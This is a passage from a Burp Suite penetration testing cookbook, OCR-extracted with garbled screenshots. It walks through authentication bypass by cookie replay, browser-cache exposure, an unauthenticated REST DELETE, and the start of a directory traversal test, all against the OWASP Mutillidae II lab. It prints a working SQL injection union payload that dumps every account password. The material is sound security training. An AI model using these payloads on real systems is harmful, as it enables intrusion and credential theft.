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How to do it...

1. Open the Firefox browser to the home page of OWASP Mutillidae II, using the
Home button from the top menu, on the left-hand side. Make sure you are not
logged into the application. If you are logged in, select Logout from the menu:

@ OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) | Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

2. In Burp, go to the Proxy | HTTP history tab and select the request you just made,
browsing to the home page as unauthenticated. Right-click, and then select Send
to Repeater:

Target | Proxy I Spider T Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender T Project options I User options TAIerts ]
[ Intercept | HTTP history ] WebSockets history I Options ]

’ Fitter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length | MIMEtype | Extensio
272 http://1192.168.56.101 | GET Imutillidae.ﬁmiex.php?page:hnme.php&popupNntiﬁcatio.l v 200 46441 HTML php
<

Request | Response

Raw | Params | Headers | Hex

GET /mutillidae/index.php?page=home.phpépopUpNotificationCode=HPHO HTTP/1.1

Host: 192.168.56.101

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4; rv:£1.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml; g=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://1l892.1€8.56.101l/mutillidae/index.php?page=hone. phpipopUpliotificationCode=HPHO

Cookie: showhints=1l; PHPSESSID=g5@mZmlhScdhulduBitqlqinsd; acopendivids=swingset,jotto,phpbbZ,rednine;

acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

Send to Spider

Do an active scan

Do a passive scan

Send to Intruder Ctrl+l

Send to Repeater Ctri+R
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3. Using this same request and location, right-click again, and then select Send to
Comparer (request):

Targetl Proxy I Spider T Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer T Extender I Project options T User options T Alerts ]

[ Intercept I HTTP history I WebSockets history T Options ]

| Filter: Hiding CSS, image and general binary content

# A Host | Method | URL | Params | Edited | Status | Length | MIMEtype | Extensi
EZK http:/[192.168.56.101 | GET Imutilidae/index.php?page=home.php&popUpNotificatio.. | v 200 45441 HTML php
-«

Reguest | Response

Raw | Params | Headers | Hex

GET /mutillidae/index.php?page=home.phpapopUpNotificationCode=HPHO HTTP/L.1

Host: 192.168.5€.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x£4; rv:El.0) CGecko/20100101 Firefox/El.0
Accept: text/html, application/xhtml+tznl,application/xul;q=0.9,%/%;q=0.8

Accept-Language: en-US,en;q=0.5 N
Accepc-Encoding: gzip, deflate Do an active scan

Send to Spider

Referer: http://192.1€8.56.101/mutillidae/index. php?page=hone.phpspopUpNotificationCode=HPHO Do a passive scan
Cookie: showhints=1l; PHPSESSID=¢gSmmlhScdhuldud3tgqlgqint4; acopendivids=swingset,jotto,phpbbhl, re
Connection: close

Upgrade-Insecure-Requests: 1 Send to Repeater Ctri=R

Send to Intruder Cirl+l

Send to Sequencer

Send to Comparer

4. Return to the home page of your browser and click the Login/Register button. At
the login page, log in with the username of admin and the password of admin.
Click Login.

5. After you log in, go ahead and log out. Make sure you press the Logout button
and are logged out of the admin account.
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6. In Burp, go to the Proxy | HTTP history tab and select the request you just made,
logging in as admin. Select GET request immediately following the POST 302
redirect. Right-click and then select Send to Repeater (request):

[Target ] Proxy || Spider T Scanner T Intruder ] Repeater T Sequencer T Decoder T Comparer T Extender 1 Project options ] User options | Alerts

[ Intercept [ HTTP history | WebSockets history T Options ]

I Fiter: Hiding CSS, image and general binary content

# A Host | Methed | URL | Params | Edited | Status | Length | MIMEtype | i | Title
273 hitp://192.168.56.101 GET Imutilidae/index.php?page=login.php < 200 50789 HTML php
274 http://192.168.56.101 POST Imutilidae/index.php?page=login.ph v 302 50905 HTML php

/mutilidae/index. php?popUpNotificationCode=AU1 J 200 46544 HTML php

275 hitpui192.168.56.101
[«

Reguest | Response
Raw ParamTHeaders Hex

GET /mutillidae/index.php?popUpliotificationCode=AUL HITP/L. L

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x84; rv:El.0) Gecko/20100101 Firefox/E1.0
Accept: text/html,application/xhtmléxml,application/xml;q=0.5,%/%;q=0.8

Accept-language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Peferer: htep://197 16856 101/mutillidas/index phplpage=login. php

Cookie: showhints=1l; username=admin; uid=1l; PHPSESSID=gSqnSmlhScdhulduS3tqlqinss; acopendivids=swingset,jotto,phpbbl, redmine; acgroupswithpersist=nada

Connection: close

Upgrade-Insecure-Requests: 1 Send to Spider
Do an active scan

Do a passive scan
Send to Intruder Ciri+l
Send to Repeater Cir+R

7. Using this same request and location, right-click again and Send to
Comparer (request):

Target I Proxy ISpni:l T Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer T Extender T Project options T User options | Alerts
[ Intercept IHTI'P h'ntnryl WebSockets history I Options W

‘ Fitter: Hiding CSS, image and general binary content

|# 4 Host | Method | URL | Params | Edited | Status | Length | MMEtype | Extension | Title

213 hitp:/(192.168.56.101 GET Imutilidaesindex. php?page=login.php v 200 50789 HTML php

274 hitp://192.168.56.101 POST /mutilidae/index. php2page=login.ph v 302 50905  HTML php

275 hitp:/192.168.56.101 [ Imutilidae/index php?poplpotificationCode=AU1 v 200 | 46544 HTML php

- ;

Request | Response

Raw | Params | Headers | Hex

GET /mutillidae/index.php?popUpNotificationCode=AUL HITP/L. L

Host: 192.168.5&.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; xé4; rv:£1.0) Gecko/20100101 Firefox/El.0
Accept: text/html,application/xhtmltxml,applicavion/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.166.56.101/mutillidae/index.php?page=login. php

Send to Spider

Cookie: showhints=1l; username=admin; uid=1; PHPSESSID=gSqmSmlhScdhuldusicg) DO anactive scan ptto,phpbbl,redmnine; acgroupswithpersist=nada
Connection: close Do a passive scan
Upgrade-Insecure-Requests: 1 Send to Intruder Cirist

Send to Repeater Cirl+R

Send to Comparer
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8. Go to Burp's Comparer tab. Notice the two requests you sent are highlighted.
Press the Words button on the bottom right-hand side, to compare the two
requests at the same time:

[n:ge« Proxy ] Spider | Scanner ] Intruder T Repeater T Sequencer I Decoder | Comparer | Extender | Project options { User options ]A!ﬂs

Comparer &3}
This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the COMPArison you want to perform
Selectitem 1
# | Length Data | | Paste J
[m o pp—
5 585 GET imutilidse/index php?popUphotificationCode=AU1 HTTP/ . 1Host: 192.168.56.101User-Agent: Mozila/5.0 (Windows NT 10. Load
Remove
Clear
Select item 2
# | Length Data
. 03
L Ei

9. A dialog pop-up displays the two requests with color-coded highlights to draw
your eyes to the differences. Note the changes in the Referer header and the
additional name/value pair placed in the admin account cookie. Close the pop-up
box with the X on the right-hand side:

. =

Length: 603 @ Text O Hex  Length 585 @ Text O Hex

GET. £7c"page=home.phpd =P HTTRI1.1 GET imutilidae/index.php?popUpNotificationCode =Bl HTTP/.1

Host 182.168.56.101 fost: 192.168.56.101

User-Agent: Mozia/S.0 (Windows NT 10.0; Win64; x64; rv'61.0) Gecko/20100101 Firefox/s1.0 User-Agent: Mezila/S 0 (Windows NT 10.0; Win64; x84, rv:61.0) Gecko/20100101 Firefox/%1.0
Accept: texthtmi applcation/xhimk: xmi,application’xmig=0.9,%.q=0.8 Accept: text/htmi application/xhtmisxmi appiicationsmi:=0.9,%%q=0.8
Accept-Language: £n-US engqe0 S

Referer hi ae/ndex pho?pace=home oh IRefener http:/1192 168 56.101 mutilidae/index php?page=1ogi php I
Coohe: showhimis 1, PRPSE SSD=goanemnScanuDuBHa 1 GFTEs, Scopendnids=sw ngset ofio,phpbb2 redmine, acgroupswhpersistenada Coolie uid=1, PHPSESSID=g5an9m1hScahudduB3tg1gimss, o phobb2red

Connection: close ‘acgroupswithpersist=nada
Upgrade-insecure-Requests: 1 Connection: close

Upgrade-insecure-Requests: 1

Key |Modified Dt Adsed O syncviews

10. Return to Repeater, which contains your first GET request you performed as

unauthenticated. Prior to performing this attack, make sure you are completely
logged out of the application.
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11. You can verify you are logged out by clicking the Go button in Repeater
associated to your unauthenticated request:

Reques Riosgionnte
| (s Y vesses [ v ) A |

=HPHO HTTP/1 L ]

oo [ @d¢ OWASP Mutillidae II: Web Pwn in Mass Productio’

iq=0.0

Version: 2,624 Security Level; 0 (Hosed)  Hints: Enabled (1 - Script Kiddle) | NotLogged In|

oding: gzip, deflate

©.56. 101 /muti1lidas/index . php7page= Lo
L 5 s

OWASP 2013 Mutillidae: Deliberately Vulnerable
OwAsP 2010 Web Pen-Testing Application

OWASER2007 Like Mutiliclae? Check out how to help

12. Now flip over to the Repeater tab, which contains your second GET request as
authenticated user admin. Copy the values for Referer header and Cookie from
the authenticated request. This attack is parameter modification for the purpose
of bypassing authentication:

Go Cance < v >y

Request

jR,awT Params T Headers T Hex ]

GET /mutillidae/index. php?popUplotificationCode=ATL HTTP/L.1

Host: 1592.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4; rv:£1.0) Gecko/Z0100101 Firefox/61.0
Accept: text/html,application/xhtml+txml, application/xml;q=0.59 */*;q=0.8
Accept-Lancguage: en-US,en;g=0.5

Accept-Encoding: gzip, deflatce

Referer: http://152.168.56.101l/mutillidae/index.php?page=login. php

Cookie: showhints=l; username=acdmin; uid=1l; PHPSESSID=gSimSmlhicdhulduB3tgleginsd;
acopendivids=swingset , jotto,phphhl, rednine; acgroupswithpersist=nacda

Connection: close

Tpgrade-Insecure-Recquescs: 1

13. Copy the highlighted headers (Referer and Cookie) from the authenticated GET
request. You are going to paste those values into the unauthenticated GET
request.

14. Replace the same headers in the unauthenticated GET request by highlighting
and right-clicking, and select Paste.

15. Right-click and select Paste in the Repeater | Raw tab of the first GET request you
performed as unauthenticated.
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16. Click the Go button to send your modified GET request. Remember, this is the
first GET request you performed as unauthenticated.

17. Verify that you are now logged in as admin in the Response | Render tab. We
were able to bypass the authentication mechanism (that is, the log in page) by
performing parameter manipulation:

Response

[m{ Headers Im HTML TR&Mer]
®% OWASP Mutillidae II: Web Pwn in Mass Production

Logged In Admin: admin (gOt root?

Version: 2,6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1ddle)

OWASP 2013 Mutillidae: Deliberately
OWASP 2010 Vulnerable Web Pen-Testing
Application

OWASP 2007

How it works
By replaying both the token found in the cookie and the referer value of the authenticated

request into the unauthenticated request, we are able to bypass the authentication scheme
and gain unauthorized access to the application.

Testing for browser cache weaknesses

Browser caching is provided for improved performance and better end-user experience.
However, when sensitive data is typed into a browser by the user, such data can also be
cached in the browser history. This cached data is visible by examining the browser's cache
or simply by pressing the browser's back button.
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Getting ready

Using the browser's back button, determine whether login credentials are cached, allowing
for unauthorized access. Examine these steps in Burp, to understand the vulnerability.

How to do it...

1. Log into the Mutillidae application as admin with the password admin.

2. Now log out of the application by clicking the Logout button from the top menu.

3. Verify you are logged out by noting the Not Logged In message.

4. View these steps as messages in Burp's Proxy | History as well. Note the logout
performs a 302 redirect in an effort to not cache cookies or credentials in the
browser:

319 hitp:#/192.168.56.101 GET llida e/l ? ificationCode=AU1 v 200 48544 HTML php

320 hitp:#/192.168.56.101 I GET Imutilidae/index.php?de=logout v 302' 733 HTML php

321 hitp:/#/192.168.56.101 GET Imustilli ?pag i IpNotificationCode=LOU1 v 200 51219 HTML php
Request | Response l

Raw | Params iHenders Hex ]

GET /mutillidae/index.php?page=login.phpapopUpNotificationCode=LOUL HTTP/1.1
Host: 152.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:€1.0) Gecko/Z0100101 Firefox/E1.0

Accept: text/html,application/xhtmltxml, application/xml;gq=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://182.1E8.56.101/mutillidae/index. php?popUplotificationCode=AUL

Cookie: showhints=1; PHPSESSID=gSqndmlhScdhuldudtgleinid; acopendivids=swingset,jotto,phpbbZ, rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

5. From the Firefox browser, click the back button and notice that you are now

logged in as admin even though you did not log in! This is possible because of
cached credentials stored in the browser and the lack of any cache-control
protections set in the application.
Now refresh/reload the page in the browser, and you will see you are logged out
again.
Examine the steps within the Proxy | HTTP history tab. Review the steps you
did through the browser against the messages captured in the Proxy | HTTP
history table:

e Request 1 in the following screenshot is unauthenticate

e Request 35 is the successful login (302) as admin
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e Request 37 is the logout of the admin account

¢ Requests 38 and 39 are the refresh or reload of the browser page,
logging us out again

8. There is no request captured when you press the browser's back button. This is
because the back button action is contained in the browser. No message was sent
through Burp to the web server to perform this action. This is an important
distinction to note. Nonetheless, we found a vulnerability associated with weak
browser-caching protection. In cases such as this, penetration testers will take a
screenshot of the logged-in cached page, seen after clicking the back button:

Target I Proxy I Spider I Scanner T Intruder I Repeater T Sequencer T Decoder I Comparer T Extender I Project options T User options Alerts
[ ntercept IHTI'P I|is|ory| WebSockets history | Options. |

‘ Filter: Hiding script, CSS, image and general binary content

# 4| Host | Method | URL Params | Edited | Status | Length MIME type | Extension

|1 hitp://192.168.56.101 GET /mutilidae/index.php?popUpNotificationCode=AU1 ' 200 I 46499 HTML php

2 1 illidae!i ?page=logi Y 50774 HTML php

2 .168.56. 1 i v 302 I 50905 HTML php
36 http://192.168.56.101 GET Imutilidae/index.php?popUpNotificationCode=AU1 'l 200 46544 HTML php
37 http://192.168.56.101 GET frnmlllidaeﬂndex.phn?dmlogum v 302 733 HTML php
38 http://192.168.56.101 GET i ?page=| hp&popl i ode=LOU1 v 200 51219 HTML php
39 http://192.168.56.101 GET /mutilidae/index.php?popUpMotificationCode=AU1 v 200 46499 HTML php

Testing the account provisioning process
via the REST API

Account provisioning is the process of establishing and maintaining user accounts within
an application. Provisioning capabilities are usually restricted to administrator accounts.
Penetration testers must validate account-provisioning functions are done by users
providing proper identification and authorization. A common venue for account
provisioning is through Representational State Transfer (REST) API calls. Many times,
developers may not put the same authorization checks in place for API calls that are used in
the Ul portion of an application.

Getting ready

Using REST API calls available in the OWASP Mutillidae II application, determine whether
an unauthenticated API call can provision or modify users.
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How to do it...

Make sure you are not logged into the application. If you are, click the Logout button from
the top menu.

1. Within Mutillidae, browse to the User Lookup (SQL) Page and select OWASP
2013 | Al Injection (SQL) | SQLi — Extract Data | User Info (SQL):

Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

Home Login/Register

A1l - Injection (SQL) » | SQLi - Extract Data » | User Info (SQL)

OWASP 2013

2. Type user for Name and user for Password, and click View Account
Details. You should see the results shown in the next screenshot. This is the
account we will test provisioning functions against, using REST calls:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - S5cript Kiddie) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

OWASP 2013 4
_ [ User Lookup (SQL) l

Hints

-

f I
A‘A/x Switch to SOAP Web Service version IXHL Switch to XPath version

-

Resources L
_ ‘ Please enter username and password ‘

to view account details

';T“ Name
Getting Started: (—
- s Password
Project Whitepaper
[ view Account Details |
‘ Dont have an account? Please register here
Results for "user".1 records found.
Release —
Announcements Username=user
Password=user
Signature=User Account
You
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Through Spidering, Burp can find /api or /rest folders. Such folders are clues
that an application is REST API enabled. A tester needs to determine which
functions are available through these API calls.

3. For Mutillidae, the /webservices/rest/ folder structure offers account
provisioning through REST API calls.

4. To go directly to this structure within Mutillidae, select Web Services | REST |
SQL Injection | User Account Management:

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

User Lookup (SQL)

Web Services

» jecti »
HTML 5 SQL Injection User Account Management

Username Enumeration
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You are presented with a screen describing the supported REST calls and
parameters required for each call:

_ o 1 RR SRR % _

« c @ @ 192.168.56.101/mutillidae/webservices/rest/ws-user-ac a - w

Back to Home Page

Help: This service exposes GET, POST, PUT, DELETE methods. This service is vulnerable to SQL injection in security level 0.

DEFAULT GET: (without any parameters) will display this help plus a list of accounts in the system.

Optional params: None.

GET: Either displays usernames of all accounts or the username and signature of one account.
Optional params: username AS URL parameter. If username is "*" then all accounts are returmed.
Example(s):

Get a particular user: /mutillidac/webservices/rest/ws-user-account. phpusername=adrian
Giet all users: /mutillidae'webservices/rest'ws-user-account.phpusername=*

Example Exploit(s):

SQL injection: /mutillidac/webservices/rest/ws-user-
account.phpusername=jeremy'+union + select+concat( " The+ password + for Husername,'+is+', # password Jmysignature + from +accounts+ -+

POST: Creates new account.

Required params: username, password AS POST parameter.
Optional params: signature AS POST parameter.

PUT: Creates or updates account.

Required params: usermame, password AS POST parameter,
Optional params: signature AS POST parameter.
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5. Let's try to invoke one of the REST calls. Go to the Proxy | HTTP history table
and select the latest request you sent from the menu, to get to the User Account
Management page. Right-click and send this request to Repeater:

Target | Proxy | Spider | Scanner T Intruder T Repeater I Sequencer T Decoder I Comparer I Extender ] Project options T User options T Alerts ]
Inlerl:eptl HTTP history IWebSnl:kets history T Options ]

| Fitter: Hiding CSS, image and general binary content

# A| Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension
254 http://192.168.56.101 GET Imutilidae/webservices/rest/ws-user-account. php I 200 3818 HTML php
.

Request | Response

Raw PararrsTHeaders Hex

GET /mutillidae/webservices/rest/ws-user-account.php HTTP/1l.1

Host: 15I2.1€8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64; rv:£1.0) Gecko/Z01l00101 Firefox/E61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -
Accept-Language: en-US,en;q=0.5 Send to Spider
Accept-Encoding: gzip, deflate
Referer:
Cookie:

Do an active scan
http://192.168. 56.101/mutillidas/index.php?page=hone. phpépoplUplotificationCode=HPHO Do a passive scan

showhints=1; PHPSESSID=¢gS¢mmlhScdhulduB3tglginsd; acopendivids=swingset, jotto,phpbbl

Connection: eclose Send to Intruder Ctrl+l
Upgrade-Insecure-Requests: 1

Send to Repeater Cir+R

6. In Burp's Repeater, add the 2, followed by a parameter name/value pair of
username=user to the URL. The new URL should be as follows:

/mutillidae/webservices/rest/ws—user—account.php?username=user

| Go Cancel < |v > v

Request

_[ Raw TP&I"BI‘I‘IS THeaders T Hex W

GET I/mu.tillidaer’we]:servicesr’restf‘vs—user-account . php?username=user| HTTP/L1.1

Host: 157 1et.56.1U0L

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4; rv:£1.0) Gecko/20100101 Firefox/E1.0
Accept: text/html,application/xhtml+txml,application/xml;gq=0.9,*%/*;g=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Peferer:

http://182.168.56. 101 /mutillidae/index. php?page=login. phpépopUplotificationCode=LOTL
Coockie: showhints=1l; PHPSESSID=gS(mmlhScdhuldus3telegims4;
acopendivids=swingset,jotto,phpbbl, rednine; acgroupswithpersist=nada

Comnnection: close

Upgrade-Insecure-Recuests: 1
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7. Click the Go button and notice we are able to retrieve data as an unauthenticated
user! No authentication token is required to perform such actions:

Response

(R | vosders | ex |

HTTF/1.1 200 OK

Date: Thu, 30 Aug 2018 16:05:286 GMT

Server: Apache/Z.2_14 (Ubuntu) mod mono/Z2.4.3 PHP/S.3.Z2-lubuntud.30 with Suhosin-Patch
proxy_html/3.0.1 mod python/3.3.1 Python/Z.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k
Phu.s.i.c.n_Passengel:/“l_0_38 ch‘I._perlfﬁ_D.Ai Perl/w5.10.1

X=Powered-By: PHP/S5.3.IZ-lubuntu4. 0

Expires: Thu, 1% Now 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 72

Conmection: close

Content-Type: text/html

Result: [RAccounts: {[{"username':"user",K "mysigmnature":"User RAccount"}]}} I

8. Let's see what else we can do. Using the SQL Injection string given on the User
Account Management page, let's attempt to dump the entire user table.

9. Append the following value after username=:

user'+union+select+concat (' Thet+password+for+',6 username, '+is+', +pass
word) ,mysignature+from+accounts+-—+

The new URL should be the following one:

/mutillidae/webservices/rest/ws—user-—
account .php?username=user'+uniont+select+concat (' The+password+for+',
username, '+is+', +password) ,mysignature+from+accounts+--+

10. Click the Go button after making the change to the username parameter. Your
request should look as shown in the following screenshot:
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Request

_[ Raw T Params T Headers T Hex ]

GET

Jmutillidae/webservices/rest/ws—user-account.php?username=user 'tuniontselect+concat (' Thetpassword+tf
or+' ,username, '+ist+' ,tpassword) ,mysignature+fromtaccounts+--+ HITP/1.1

Host: 15 1et.o5b0. 1LUL

User-Agent: Mozilla/5.0 (Windows HNT 10.0; Wingd; =x€4; rv:€l.0) Gecko/IZ01l00101 Firefox/€l.0
Accept: text/html, application/xhtml+txml application/xml;q=0.9,*/*;g=0.8

Accept-Lancuage: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://152.168.56.101/mutillidae/index.php?page=login. phpépopUpNotificationCode=L0TL
Cookie: showhints=1l; PHPSESSID=gSiqmSmlhScdhuldud3tglgimb4;
acopendivids=swingset,jotto,phphhl,rednine; acgroupswithpersist=nada

Connection: close

Upgrade-Insecure-Requests: 1

11. Notice we dumped all of the accounts in the database, displaying all usernames,
passwords, and signatures:

Response

Raw | Headers | Hex

¥-Powered-By: PHP/5.3.I2-lubuntu4.30

Expires: Thu, 15 Now 1581 08:5Z2:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: Z048&

Connection: close

Content-Type: text/html

Result: {Accounts: {[{"username":"user",K "mysignature":"User Account"},6 {"username": "The password for admin
is admin", "'mysignature”:"g0t r00t?"} | "username': "The password for adrian is

somepassword" , "mysignature": "Zombie Films Rock!"}, [ "username": "The password for john is

monkey"  "mysignature”:"I like the smell of confunk"},K {"username":"The password for jeremy is

password", "mysignature": "d1373 1337 speak"}, { "username": "The password for bryce is

password", "mysignature":"I Love SANS"} {"username":"The password for samurai is

samurai”  "mysignature":"Carwving fools"}, {"username":"The password for jim is password",K "mysignature":"Rome
is burning'}, { "username": "The password for bobby is password", "mysignature”:"Hank is my

dad"},{"username": "The password for simba is password",K "mysignature":"I am a super-cat"}, { "username":"The
password for dreveil is password”, "mysignature": "Preparation H"} {"username": "The password for scotty is
password", "mysignature":"Scotty do"}, {"username": "The password for cal is password",K "mysignature":"C-AR-T-5
Cats Cats Cats"}, | "username": "The password for john is password",K "mysignature":"Do the

Duggie!"} {"username":"The password for kevin is 42" "mysignature":"Doug RAdams rocks"}, K {"username": "The
password for dave is set", "mysigmature":"Bet on S.E.T. EFTW"}, { "username": "The password for patches is
tortoise" " "meow'}, | "username": "The password for rocky is

stripes", "mysignature”: "treats?"}, | "username": "The password for tim is lammaster53", "mysignature":"Because
reconmnaissance is hard to spell'}, {"username':"The password for ABaker is SoSecret" "mysignature':"Muffin
tops only"},{"username": "The password for PPan is NotTelling", "mysignature": "Where is

Tinker?"}, { "username’: "The password for CHook is JollyRoger" K "mysignature':“Gator-hater'}, { "username"’:"The
password for james is i<3devs","mysignature":"Occupation: Researcher"}, {"username":"The password for user
is user","mysignature":"User Account"},{"username":"The password for ed is

pentest”, "mysignature”: "Commandline FungFu anyvone?"}11}

[132]




Assessing Authentication Schemes Chapter 4

12. Armed with this information, return to Proxy | HTTP History, select the request
you made to see the User Account Management page, right-click, and send to
Repeater.

13. In Repeater, modify the GET verb and replace it with DELETE within the Raw tab
of the Request:

Go Cance < |v >

Request

Params I Headers I Hex ]

/matillidae/webservices/rest/ws-user-account.php HTTP/Ll.1

Host : 92.1e8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4; rv:El.0) Gecko/Z0100101 Firefox/E1.0
Accept: text/htnml, application/xhtml+txnl,application/xnl;q=0.5,*/*;g=0.8

|Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192_168.56.101/mutillidae/index.php?page=login.phpipopUplotificationCode=L0Tl
|Cookie: showhints=1; PHPSESSID=gS¢mSmlhScdhuldusS3tgleim54;
acopendivids=swingset,jotto,phpbbl, rednine; acgroupswithpersist=nada

|Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content—-Length: IZ7

username=useripassword=user

14. Move to the Params tab, click the Add button, and add two Body type
parameters: first, a username with the value set to user, and second, a password
with the value set to user, and then click the Go button:

Cancel < |v > v

Request

[P.aw I Params I Headers T Hex |

DELETE request to /mutilidae/webservices/rest/ws-user-account.php

Type | Name | Value
Cookie showhints 1
Cookie PHPSESSID g5qn9m1h5cdhuldud3tgigmS4 Remove
Cookie acopendivids swingset jotto, phpbb2,redmine

ki r withpersist nada Up
Body username user [—J
Body password user [ Down J
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15. Notice we deleted the account! We were able to retrieve information and even
modify (delete) rows within the database without ever showing an API key or
authentication token!

Response

_[ Raw I Headers T Hex ]

HTTP/1l.1 200 0K

Date: Thu, 30 Aug Z018 16:15:07 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/S5.3.Z2-lubuntu4. 30 with Suhosin-Patch
proxy html/3.0.1 mod python/3.3.1 Python/IZ.€.5 mod ssl/2.2.14 OpenSSL/0.5.8k
Phusion_Passenger/4.0.38 mod _perl/Z.0.4 Perl/v5.10.1

¥-Powered-By: PHP/S5.2.2-lubuntu4.20

Expires: Thu, 19 Now 1981 08:5Z:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 30

Connection: close

Content-Type: text/html

Result: {Deleted account user}l

Note: If you wish to re-create the user account, repeat the previous steps,
replacing delete with put. A signature is optional. Click the Go button. The
user account is re-created again.
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Assessing Authorization
Checks

In this chapter, we will cover the following recipes:

e Testing for directory traversal

Testing for Local File Include (LFI)
Testing for Remote File Include (RFI)
Testing for privilege escalation

Testing for insecure direct object reference

Introduction

This chapter covers the basics of authorization, including an explanation of how an
application uses roles to determine user functions. Web penetration testing involves key
assessments to determine how well the application validates functions assigned to a given
role, and we will learn how to use Burp to perform such tests.
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Software requirements

To complete the recipes in this chapter, you will need the following:

o OWASP broken web applications (VM)
e OWASP mutillidae link

¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)

e Firefox browser configured to allow Burp to proxy traffic (https://www.
mozilla.org/en-US/firefox/new/)
¢ The wfuzz wordlist repository from GitHub (https://github.com/xmendez/

wfuzz)

Testing for directory traversal

Directory traversal attacks are attempts to discover or forced browse to unauthorized web
pages usually designed for administrators of the application. If an application does not
configure the web document root properly and does not include proper authorization
checks for each page accessed, a directory traversal vulnerability could exist. In particular
situations, such a weakness could lead to system command injection attacks or the ability of
an attacker to perform arbitrary code execution.

Getting ready

Using OWASP Mutillidae II as our target application, let's determine whether it contains
any directory traversal vulnerabilities.
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How to do it...

Ensure Burp and the OWASP BWA VM are running and that Burp is configured in the
Firefox browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP Mutillidae II
application.

2. Open the Firefox browser on the login screen of OWASP Mutillidae II. From the
top menu, click Login.

3. Find the request you just performed within the Proxy | HTTP history table. Look
for the call to the 1ogin.php page. Highlight the message, move your cursor into
the Raw tab of the Request tab, right-click, and click on Send to Intruder:

| 8 Burp Suite Professional v1.7.35 - Temporary Project - licensed to Sunny Wear [single user license]

Burp Intruder Repeater Window Help

[ Target | Proxy I Spider I Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer I Extender I Project options. T User options IAleﬂs ]

Intercept I HTTP history | WebSockets history I Options ]

| Fitter: Hiding CSS, image and general binary content

|# 4| Host | Method | URL | Params | Edited
99 http:/i192.168.56.101 GET imutilidaefindex.php?page=Iogin.ph I J
E1N

Request | Response

J Raw ] Params I Headers Im

GET /wutillidae/index.php?page=login.php HTTP/Ll.1
Host: 19C2.1&8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; xé4; rv:El.0) Gecko/2Z0100101 Firefox/61.0
Accept: text/html,application/xhtmltxml, application/xml;q=0.9,%/*;q=0.8
Accept-Lancuage: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Peferer: http://192.160.56.101/mutillidas/

Send to Spider

Cookie: showhints=1; PHPSESSID=c766tk7ifcdgq5gdlunclecotk?; acopendivids=swingsq DO an active scan swit
Connection: close Do a passive scan
Upgrade-Insecure-Beguests: 1 Send to Intruder Cirl=l

Send to Repeater Cir+R

Send to Sequencer
Send to Comparer
Send to Decoder

Show response in browser

Request in browser >
Engagement tools >
Copy URL

Copy as curl command

Copy to file
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4. Switch over to the Intruder | Positions tab, and clear all Burp-defined payload
markers by clicking the Clear $ button on the right-hand side.

5. Highlight the value currently stored in the page parameter (1ogin.php), and
place a payload marker around it using the Add § button:

[ Target I Positions. I Payloads T Options ]

(2 Payload Paositions Start attack
Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to
payload positions - see help for full details.

Attack type: | Sniper ']

GET /muc,ill.i.c[ae/in(‘lax.php']pageislogin.phpSIHTTP/.L,.[ A Add§
Host: 192.168.56.101 -

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x64; rv:€l.0) Gecko/IZ0l0010l1 Firefox/€1l.0

